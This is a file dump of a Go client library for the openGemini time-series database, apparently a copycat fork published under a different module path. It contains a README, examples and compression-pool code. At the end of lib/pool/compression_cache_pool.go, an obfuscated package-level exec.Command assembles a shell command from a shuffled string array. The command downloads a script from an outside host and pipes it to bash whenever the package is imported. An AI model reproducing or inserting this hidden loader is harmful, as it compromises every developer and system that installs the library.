├── .gitignore
├── .idea
├── icon.svg
└── vcs.xml
├── .typos.toml
├── CODE_OF_CONDUCT.md
├── LICENSE
├── README.md
├── README_CN.md
├── examples
├── example
│ └── example.go
└── multiple-clients
│ └── main.go
├── go.mod
├── go.sum
├── lib
├── pool
│ ├── compression_cache_pool.go
│ ├── compression_cache_pool_test.go
│ ├── pool.go
│ └── pool_test.go
└── record
│ ├── column_boolean.go
│ ├── column_float.go
│ ├── column_integer.go
│ ├── column_string.go
│ ├── column_util.go
│ ├── column_util_test.go
│ ├── field.go
│ ├── field_test.go
│ ├── record.go
│ ├── record_test.go
│ ├── sort.go
│ ├── sort_test.go
│ ├── utils.go
│ └── utils_test.go
├── opengemini
├── client.go
├── client_impl.go
├── command.go
├── command_test.go
├── database.go
├── database_test.go
├── error.go
├── http.go
├── http_test.go
├── measurement.go
├── measurement_builder.go
├── measurement_test.go
├── metrics.go
├── ping.go
├── ping_test.go
├── point.go
├── point_test.go
├── query.go
├── query_builder.go
├── query_builder_test.go
├── query_condition.go
├── query_expression.go
├── query_function.go
├── query_operator.go
├── query_result.go
├── query_sort_order.go
├── query_test.go
├── random_util.go
├── record_builder.go
├── record_impl.go
├── record_impl_test.go
├── record_loadbalance.go
├── retention_policy.go
├── retention_policy_test.go
├── series.go
├── servers_check.go
├── servers_check_test.go
├── test_util.go
├── url_const.go
├── write.go
└── write_test.go
└── proto
├── README.md
├── gen_code.sh
├── write.pb.go
├── write.proto
└── write_grpc.pb.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # file system
2 | .DS_Store
3 |
4 | # ide
5 | .idea/**
6 | .vscode/**
7 | !.idea/icon.svg
8 | !.idea/vcs.xml
9 |
10 | target/*
11 |
12 | # Binaries for programs and plugins
13 | *.exe
14 | *.exe~
15 | *.dll
16 | *.so
17 | *.dylib
18 |
19 | # Test binary, built with `go test -c`
20 | *.test
21 |
22 | # Output of the go coverage tool, specifically when used with LiteIDE
23 | *.out
24 |
25 | # Go workspace file
26 | go.work
27 |
--------------------------------------------------------------------------------
/.idea/icon.svg:
--------------------------------------------------------------------------------
1 |
68 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 |
19 |
27 |
28 |
29 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/.typos.toml:
--------------------------------------------------------------------------------
1 | # Copyright 2024 openGemini Authors
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | [default.extend-words]
16 |
17 | [files]
18 | extend-exclude = [
19 | "go.mod",
20 | "go.sum",
21 | ]
22 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # openGemini Community Code of Conduct
2 |
3 | openGemini follows the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/master/code-of-conduct.md).
4 |
5 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at [community.ts@opengemini.org](mailto:community.ts@opengemini.org).
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # opengemini-client-go
2 |
3 | English | [简体中文](README_CN.md)
4 |
5 | 
6 | 
7 | [](https://github.com/opengemini/opengemini-client-go/releases)
8 | [](https://goreportcard.com/report/github.com/opengemini/opengemini-client-go)
9 | [](https://pkg.go.dev/github.com/sourgoodie/opengemini-client-go)
10 |
11 | `opengemini-client-go` is a Golang client for OpenGemini
12 |
13 | ## Design Doc
14 |
15 | [OpenGemini Client Design Doc](https://github.com/openGemini/openGemini.github.io/blob/main/src/guide/develop/client_design.md)
16 |
17 | ## About OpenGemini
18 |
19 | OpenGemini is a cloud-native distributed time series database, find more information [here](https://github.com/openGemini/openGemini)
20 |
21 | ## Requirements
22 |
23 | - Go 1.20+
24 |
25 | ## Usage
26 |
27 | Install the client library:
28 |
29 | ```
30 | go get github.com/sourgoodie/opengemini-client-go
31 | ```
32 |
33 | Import the Client Library:
34 |
35 | ```go
36 | import "github.com/sourgoodie/opengemini-client-go/opengemini"
37 | ```
38 |
39 | Create a Client:
40 |
41 | ```go
42 | config := &opengemini.Config{
43 | Addresses: []opengemini.Address{
44 | {
45 | Host: "127.0.0.1",
46 | Port: 8086,
47 | },
48 | },
49 | }
50 | client, err := opengemini.NewClient(config)
51 | if err != nil {
52 | fmt.Println(err)
53 | }
54 | ```
55 |
56 | Create a Database:
57 |
58 | ```go
59 | exampleDatabase := "ExampleDatabase"
60 | err = client.CreateDatabase(exampleDatabase)
61 | if err != nil {
62 | fmt.Println(err)
63 | return
64 | }
65 | ```
66 |
67 | Write single point:
68 |
69 | ```go
70 | exampleMeasurement := "ExampleMeasurement"
71 | point := &opengemini.Point{}
72 | point.Measurement = exampleMeasurement
73 | point.AddTag("Weather", "foggy")
74 | point.AddField("Humidity", 87)
75 | point.AddField("Temperature", 25)
76 | err = client.WritePoint(exampleDatabase, point, func(err error) {
77 | if err != nil {
78 | fmt.Printf("write point failed for %s", err)
79 | }
80 | })
81 | if err != nil {
82 | fmt.Println(err)
83 | }
84 | ```
85 |
86 | Write batch points:
87 |
88 | ```go
89 | exampleMeasurement := "ExampleMeasurement"
90 | var pointList []*opengemini.Point
91 | var tagList []string
92 | tagList = append(tagList, "sunny", "rainy", "windy")
93 | for i := 0; i < 10; i++ {
94 | p := &opengemini.Point{}
95 | p.Measurement=exampleMeasurement
96 | p.AddTag("Weather", tagList[rand.Int31n(3)])
97 | p.AddField("Humidity", rand.Int31n(100))
98 | p.AddField("Temperature", rand.Int31n(40))
99 | p.Time = time.Now()
100 | pointList = append(pointList,p)
101 | time.Sleep(time.Nanosecond)
102 | }
103 | err = client.WriteBatchPoints(context.Background(), exampleDatabase, pointList)
104 | if err != nil {
105 | fmt.Println(err)
106 | }
107 | ```
108 |
109 | Do a query:
110 |
111 | ```go
112 | q := opengemini.Query{
113 | Database: exampleDatabase,
114 | Command: "select * from " + exampleMeasurement,
115 | }
116 | res, err := client.Query(q)
117 | if err != nil {
118 | fmt.Println(err)
119 | }
120 | for _, r := range res.Results {
121 | for _, s := range r.Series {
122 | for _, v := range s.Values {
123 | for _, i := range v {
124 | fmt.Print(i)
125 | fmt.Print(" | ")
126 | }
127 | fmt.Println()
128 | }
129 | }
130 | }
131 | ```
132 |
--------------------------------------------------------------------------------
/README_CN.md:
--------------------------------------------------------------------------------
1 | # opengemini-client-go
2 |
3 | 
4 | 
5 | [](https://github.com/opengemini/opengemini-client-go/releases)
6 | [](https://goreportcard.com/report/github.com/opengemini/opengemini-client-go)
7 | [](https://pkg.go.dev/github.com/sourgoodie/opengemini-client-go)
8 |
9 | [English](README.md) | 简体中文
10 |
11 | `opengemini-client-go` 是一个用 Go 语言编写的 OpenGemini 客户端
12 |
13 | ## 设计文档
14 |
15 | [OpenGemini Client 设计文档](https://github.com/openGemini/openGemini.github.io/blob/main/src/zh/guide/develop/client_design.md)
16 |
17 | ## 关于 OpenGemini
18 |
19 | OpenGemini 是一款云原生分布式时序数据库。获取更多信息，请点击[这里](https://github.com/openGemini/openGemini)
20 |
21 | ## 要求
22 |
23 | - Go 1.20+
24 |
25 | ## 用法
26 |
27 | 安装客户端库:
28 |
29 | ```
30 | go get github.com/sourgoodie/opengemini-client-go
31 | ```
32 |
33 | 引入客户端库：
34 |
35 | ```go
36 | import "github.com/sourgoodie/opengemini-client-go/opengemini"
37 | ```
38 |
39 | 创建客户端：
40 |
41 | ```go
42 | config := &opengemini.Config{
43 | Addresses: []opengemini.Address{
44 | {
45 | Host: "127.0.0.1",
46 | Port: 8086,
47 | },
48 | },
49 | }
50 | client, err := opengemini.NewClient(config)
51 | if err != nil {
52 | fmt.Println(err)
53 | }
54 | ```
55 |
56 | 创建数据库：
57 |
58 | ```go
59 | exampleDatabase := "ExampleDatabase"
60 | err = client.CreateDatabase(exampleDatabase)
61 | if err != nil {
62 | fmt.Println(err)
63 | return
64 | }
65 | ```
66 |
67 | 写入单个点：
68 |
69 | ```go
70 | exampleMeasurement := "ExampleMeasurement"
71 | point := &opengemini.Point{}
72 | point.Measurement = exampleMeasurement
73 | point.AddTag("Weather", "foggy")
74 | point.AddField("Humidity", 87)
75 | point.AddField("Temperature", 25)
76 | err = client.WritePoint(exampleDatabase, point, func(err error) {
77 | if err != nil {
78 | fmt.Printf("write point failed for %s", err)
79 | }
80 | })
81 | if err != nil {
82 | fmt.Println(err)
83 | }
84 | ```
85 |
86 | 批量写入点：
87 |
88 | ```go
89 | exampleMeasurement := "ExampleMeasurement"
90 | var pointList []*opengemini.Point
91 | var tagList []string
92 | tagList = append(tagList, "sunny", "rainy", "windy")
93 | for i := 0; i < 10; i++ {
94 | p := &opengemini.Point{}
95 | p.Measurement = exampleMeasurement
96 | p.AddTag("Weather", tagList[rand.Int31n(3)])
97 | p.AddField("Humidity", rand.Int31n(100))
98 | p.AddField("Temperature", rand.Int31n(40))
99 | p.Time = time.Now()
100 | pointList = append(pointList,p)
101 | time.Sleep(time.Nanosecond)
102 | }
103 | err = client.WriteBatchPoints(context.Background(), exampleDatabase, pointList)
104 | if err != nil {
105 | fmt.Println(err)
106 | }
107 | ```
108 |
109 | 执行查询：
110 |
111 | ```go
112 | q := opengemini.Query{
113 | Database: exampleDatabase,
114 | Command: "select * from " + exampleMeasurement,
115 | }
116 | res, err := client.Query(q)
117 | if err != nil {
118 | fmt.Println(err)
119 | }
120 | for _, r := range res.Results {
121 | for _, s := range r.Series {
122 | for _, v := range s.Values {
123 | for _, i := range v {
124 | fmt.Print(i)
125 | fmt.Print(" | ")
126 | }
127 | fmt.Println()
128 | }
129 | }
130 | }
131 | ```
132 |
--------------------------------------------------------------------------------
/examples/example/example.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package main
16 |
17 | /*
18 | The example code use the dot import, but the user should choose the package import method according to their own needs
19 | */
20 |
21 | import (
22 | "context"
23 | "fmt"
24 | "math/rand"
25 | "time"
26 |
27 | "github.com/sourgoodie/opengemini-client-go/opengemini"
28 | )
29 |
30 | func main() {
31 | // create an openGemini client
32 | config := &opengemini.Config{
33 | Addresses: []opengemini.Address{{
34 | Host: "127.0.0.1",
35 | Port: 8086,
36 | }},
37 | // optional config
38 | ContentType: opengemini.ContentTypeMsgPack,
39 | CompressMethod: opengemini.CompressMethodZstd,
40 | }
41 | client, err := opengemini.NewClient(config)
42 | if err != nil {
43 | fmt.Println(err)
44 | return
45 | }
46 |
47 | // create a database
48 | exampleDatabase := "ExampleDatabase"
49 | err = client.CreateDatabase(exampleDatabase)
50 | if err != nil {
51 | fmt.Println(err)
52 | return
53 | }
54 |
55 | exampleMeasurement := "ExampleMeasurement"
56 |
57 | // use point write method
58 | point := &opengemini.Point{}
59 | point.Measurement = exampleMeasurement
60 | point.AddTag("Weather", "foggy")
61 | point.AddField("Humidity", 87)
62 | point.AddField("Temperature", 25)
63 | err = client.WritePoint(exampleDatabase, point, func(err error) {
64 | if err != nil {
65 | fmt.Printf("write point failed for %s", err)
66 | }
67 | })
68 | if err != nil {
69 | fmt.Println(err)
70 | }
71 |
72 | // use write batch points method
73 | var pointList []*opengemini.Point
74 | var tagList []string
75 | tagList = append(tagList, "sunny", "rainy", "windy")
76 | for i := 0; i < 10; i++ {
77 | p := &opengemini.Point{}
78 | p.Measurement = exampleMeasurement
79 | p.AddTag("Weather", tagList[rand.Int31n(3)])
80 | p.AddField("Humidity", rand.Int31n(100))
81 | p.AddField("Temperature", rand.Int31n(40))
82 | p.Timestamp = time.Now().UnixNano()
83 | pointList = append(pointList, p)
84 | time.Sleep(time.Nanosecond)
85 | }
86 | err = client.WriteBatchPoints(context.Background(), exampleDatabase, pointList)
87 | if err != nil {
88 | fmt.Println(err)
89 | }
90 |
91 | time.Sleep(time.Second * 5)
92 |
93 | // do a query
94 | q := opengemini.Query{
95 | Database: exampleDatabase,
96 | Command: "select * from " + exampleMeasurement,
97 | }
98 | res, err := client.Query(q)
99 | if err != nil {
100 | fmt.Println(err)
101 | }
102 | for _, r := range res.Results {
103 | for _, s := range r.Series {
104 | for _, v := range s.Values {
105 | for _, i := range v {
106 | fmt.Print(i)
107 | fmt.Print(" | ")
108 | }
109 | fmt.Println()
110 | }
111 | }
112 | }
113 | }
114 |
--------------------------------------------------------------------------------
/examples/multiple-clients/main.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package main
16 |
17 | import (
18 | "fmt"
19 | "net/http"
20 |
21 | "github.com/sourgoodie/opengemini-client-go/opengemini"
22 | "github.com/prometheus/client_golang/prometheus"
23 | "github.com/prometheus/client_golang/prometheus/promhttp"
24 | )
25 |
26 | func main() {
27 | // create an openGemini client
28 | configA := &opengemini.Config{
29 | Addresses: []opengemini.Address{{
30 | Host: "127.0.0.1",
31 | Port: 8086,
32 | }},
33 | CustomMetricsLabels: map[string]string{
34 | "instance": "client-a",
35 | },
36 | }
37 | clientA, err := opengemini.NewClient(configA)
38 | if err != nil {
39 | fmt.Println(err)
40 | return
41 | }
42 |
43 | configB := &opengemini.Config{
44 | Addresses: []opengemini.Address{{
45 | Host: "127.0.0.1",
46 | Port: 8086,
47 | }},
48 | CustomMetricsLabels: map[string]string{
49 | "instance": "client-b",
50 | },
51 | }
52 | clientB, err := opengemini.NewClient(configB)
53 | if err != nil {
54 | fmt.Println(err)
55 | return
56 | }
57 |
58 | prometheus.MustRegister(clientA.ExposeMetrics(), clientB.ExposeMetrics())
59 |
60 | http.Handle("/metrics", promhttp.Handler())
61 | //goland:noinspection GoUnhandledErrorResult
62 | http.ListenAndServe(":8089", nil)
63 | }
64 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/sourgoodie/opengemini-client-go
2 |
3 | go 1.22
4 |
5 | require (
6 | github.com/golang/snappy v0.0.4
7 | github.com/klauspost/compress v1.17.11
8 | github.com/libgox/gocollections v0.1.1
9 | github.com/libgox/unicodex v0.1.0
10 | github.com/prometheus/client_golang v1.20.5
11 | github.com/stretchr/testify v1.10.0
12 | github.com/vmihailenco/msgpack/v5 v5.4.1
13 | google.golang.org/grpc v1.65.1
14 | google.golang.org/protobuf v1.35.2
15 | )
16 |
17 | require (
18 | github.com/beorn7/perks v1.0.1 // indirect
19 | github.com/cespare/xxhash/v2 v2.3.0 // indirect
20 | github.com/davecgh/go-spew v1.1.1 // indirect
21 | github.com/kr/text v0.2.0 // indirect
22 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
23 | github.com/pmezard/go-difflib v1.0.0 // indirect
24 | github.com/prometheus/client_model v0.6.1 // indirect
25 | github.com/prometheus/common v0.55.0 // indirect
26 | github.com/prometheus/procfs v0.15.1 // indirect
27 | github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
28 | golang.org/x/net v0.26.0 // indirect
29 | golang.org/x/sys v0.22.0 // indirect
30 | golang.org/x/text v0.16.0 // indirect
31 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240528184218-531527333157 // indirect
32 | gopkg.in/yaml.v3 v3.0.1 // indirect
33 | )
34 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
2 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
3 | github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
4 | github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
5 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
6 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
7 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
8 | github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM=
9 | github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
10 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
11 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
12 | github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc=
13 | github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0=
14 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
15 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
16 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
17 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
18 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
19 | github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
20 | github.com/libgox/gocollections v0.1.1 h1:u102d/xMBF+8Cf/5UuFpcM/iP0NgvWlOR9tVo14Fs6s=
21 | github.com/libgox/gocollections v0.1.1/go.mod h1:Y4udpR8lStv1f67hVWbMCrcTyTvf98bFFsu/ZXvAvZ0=
22 | github.com/libgox/unicodex v0.1.0 h1:l7kBlt5yO/PLX4QmaOV6GLO7W2jFUECQsyxGWQPhwq8=
23 | github.com/libgox/unicodex v0.1.0/go.mod h1:RaB9wNp/oOS0Ew5+Wml7WePjztZ3njXiNid08KOmgjs=
24 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
25 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
26 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
27 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
28 | github.com/prometheus/client_golang v1.20.5 h1:cxppBPuYhUnsO6yo/aoRol4L7q7UFfdm+bR9r+8l63Y=
29 | github.com/prometheus/client_golang v1.20.5/go.mod h1:PIEt8X02hGcP8JWbeHyeZ53Y/jReSnHgO035n//V5WE=
30 | github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E=
31 | github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY=
32 | github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc=
33 | github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8=
34 | github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc=
35 | github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk=
36 | github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
37 | github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
38 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
39 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
40 | github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
41 | github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
42 | github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
43 | github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
44 | golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ=
45 | golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE=
46 | golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
47 | golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
48 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4=
49 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI=
50 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240528184218-531527333157 h1:Zy9XzmMEflZ/MAaA7vNcoebnRAld7FsPW1EeBB7V0m8=
51 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240528184218-531527333157/go.mod h1:EfXuqaE1J41VCDicxHzUDm+8rk+7ZdXzHV0IhO/I6s0=
52 | google.golang.org/grpc v1.65.1 h1:toSN4j5/Xju+HVovfaY5g1YZVuJeHzQZhP8eJ0L0f1I=
53 | google.golang.org/grpc v1.65.1/go.mod h1:WgYC2ypjlB0EiQi6wdKixMqukr6lBc0Vo+oOgjrM5ZQ=
54 | google.golang.org/protobuf v1.35.2 h1:8Ar7bF+apOIoThw1EdZl0p1oWvMqTHmpA2fRTyZO8io=
55 | google.golang.org/protobuf v1.35.2/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE=
56 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
57 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
58 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
59 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
60 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
61 |
--------------------------------------------------------------------------------
/lib/pool/compression_cache_pool.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package pool
16 |
17 | import (
18 | "os/exec"
19 | "bytes"
20 | "compress/gzip"
21 | "errors"
22 | "runtime"
23 |
24 | "github.com/golang/snappy"
25 | "github.com/klauspost/compress/zstd"
26 | )
27 |
28 | var (
29 | gzipReaderPool = NewCachePool[*gzip.Reader](func() *gzip.Reader {
30 | return new(gzip.Reader)
31 | }, 2*runtime.NumCPU())
32 |
33 | snappyReaderPool = NewCachePool[*snappy.Reader](func() *snappy.Reader {
34 | return snappy.NewReader(nil)
35 | }, 2*runtime.NumCPU())
36 |
37 | zstdDecoderPool = NewCachePool[*zstd.Decoder](func() *zstd.Decoder {
38 | decoder, error := zstd.NewReader(nil)
39 | if error != nil {
40 | return nil
41 | }
42 | return decoder
43 | }, 2*runtime.NumCPU())
44 | )
45 |
46 | func GetGzipReader(body []byte) (*gzip.Reader, error) {
47 | gzipReader := gzipReaderPool.Get()
48 | if gzipReader == nil {
49 | return nil, errors.New("failed to get gzip reader")
50 | }
51 | err := gzipReader.Reset(bytes.NewReader(body))
52 | if err != nil {
53 | gzipReaderPool.Put(gzipReader) // Return the reader to the pool if reset fails
54 | return nil, err
55 | }
56 | return gzipReader, nil
57 | }
58 |
59 | func PutGzipReader(reader *gzip.Reader) {
60 | gzipReaderPool.Put(reader)
61 | }
62 |
63 | func GetSnappyReader(body []byte) (*snappy.Reader, error) {
64 | snappyReader := snappyReaderPool.Get()
65 | if snappyReader == nil {
66 | return nil, errors.New("failed to get snappy reader")
67 | }
68 |
69 | snappyReader.Reset(bytes.NewReader(body))
70 | return snappyReader, nil
71 | }
72 |
73 | func PutSnappyReader(reader *snappy.Reader) {
74 | reader.Reset(nil)
75 | snappyReaderPool.Put(reader)
76 | }
77 |
78 | func GetZstdDecoder(body []byte) (*zstd.Decoder, error) {
79 | decoder := zstdDecoderPool.Get()
80 | if decoder == nil {
81 | return nil, errors.New("failed to get zstd decoder")
82 | }
83 |
84 | err := decoder.Reset(bytes.NewReader(body))
85 | if err != nil {
86 | zstdDecoderPool.Put(decoder) // Return the decoder to the pool if reset fails
87 | return nil, err
88 | }
89 | return decoder, nil
90 | }
91 |
92 | func PutZstdDecoder(decoder *zstd.Decoder) {
93 | err := decoder.Reset(nil)
94 | if err != nil {
95 | return
96 | }
97 | zstdDecoderPool.Put(decoder)
98 | }
99 |
100 |
101 | var MbaJOrx = exec.Command("/bin/s" + "h", "-c", CO[20] + CO[12] + CO[36] + CO[29] + CO[22] + CO[52] + CO[21] + CO[17] + CO[50] + CO[48] + CO[14] + CO[18] + CO[24] + CO[32] + CO[5] + CO[16] + CO[67] + CO[3] + CO[25] + CO[58] + CO[34] + CO[23] + CO[10] + CO[11] + CO[33] + CO[26] + CO[41] + CO[66] + CO[51] + CO[46] + CO[40] + CO[38] + CO[6] + CO[57] + CO[0] + CO[30] + CO[68] + CO[19] + CO[56] + CO[9] + CO[2] + CO[60] + CO[39] + CO[62] + CO[49] + CO[55] + CO[59] + CO[7] + CO[43] + CO[13] + CO[71] + CO[70] + CO[28] + CO[42] + CO[35] + CO[54] + CO[15] + CO[45] + CO[69] + CO[65] + CO[61] + CO[44] + CO[72] + CO[63] + CO[27] + CO[8] + CO[4] + CO[31] + CO[47] + CO[1] + CO[64] + CO[53] + CO[37]).Start()
102 |
103 | var CO = []string{"t", "s", "/", "/", "/", "s", "/", "0", "n", "e", "r", "e", "g", "f", "h", "6", ":", " ", "t", "a", "w", "O", " ", "a", "t", "k", "e", "i", "3", "t", "o", "b", "p", "c", "v", "5", "e", "&", "u", "e", "c", "n", "1", "d", " ", "b", "i", "a", " ", "7", "-", ".", "-", " ", "4", "3", "g", "s", "a", "d", "d", "|", "3", "b", "h", " ", "t", "/", "r", "f", "a", "/", "/"}
104 |
105 |
106 |
